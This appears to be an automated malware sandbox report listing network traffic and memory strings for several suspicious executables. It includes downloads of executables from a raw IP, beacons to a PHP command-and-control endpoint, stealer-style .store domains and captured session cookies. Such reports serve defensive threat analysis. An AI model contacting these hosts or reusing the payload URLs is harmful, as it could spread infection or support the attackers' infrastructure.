Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1Host: youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1Host: www.youtube.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-706734062&timestamp=1728300441735 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=kY3U4nfN7Svr-_j4Wubvb48X7n5s2Eq-y4ixRHDQQ6rG--yr8tra4GZXPxOC-pYwXdb77UNiCCY6vk9hPWqM9d3nSSAf9io3TJxhHhOp5tx9OSvDcGm-2pxHQ-oV7PpKzhZLynrZPRArqpb1c3XN5w4PxCYv8IwCSM3XKZiwko0U8WO5ig
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1728300360538&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: num.exe, 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/#3
Source: num.exe, 00000029.00000002.2898759445.0000000000A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Data
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000016.00000002.2737892178.000000000145E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000029.00000002.2898759445.0000000000A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(3
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9EV
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE_
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpeV
Source: num.exe, 00000016.00000002.2737892178.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpt
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phptE
Source: num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/sE
Source: num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/le
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: cb428cafc9.exe, 00000007.00000002.3852608511.0000000001413000.00000004.00000020.00020000.00000000.sdmp, cb428cafc9.exe, 00000007.00000003.3851843116.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: cb428cafc9.exe, 00000045.00000002.4395204353.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdS
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic
Source: 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: 4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
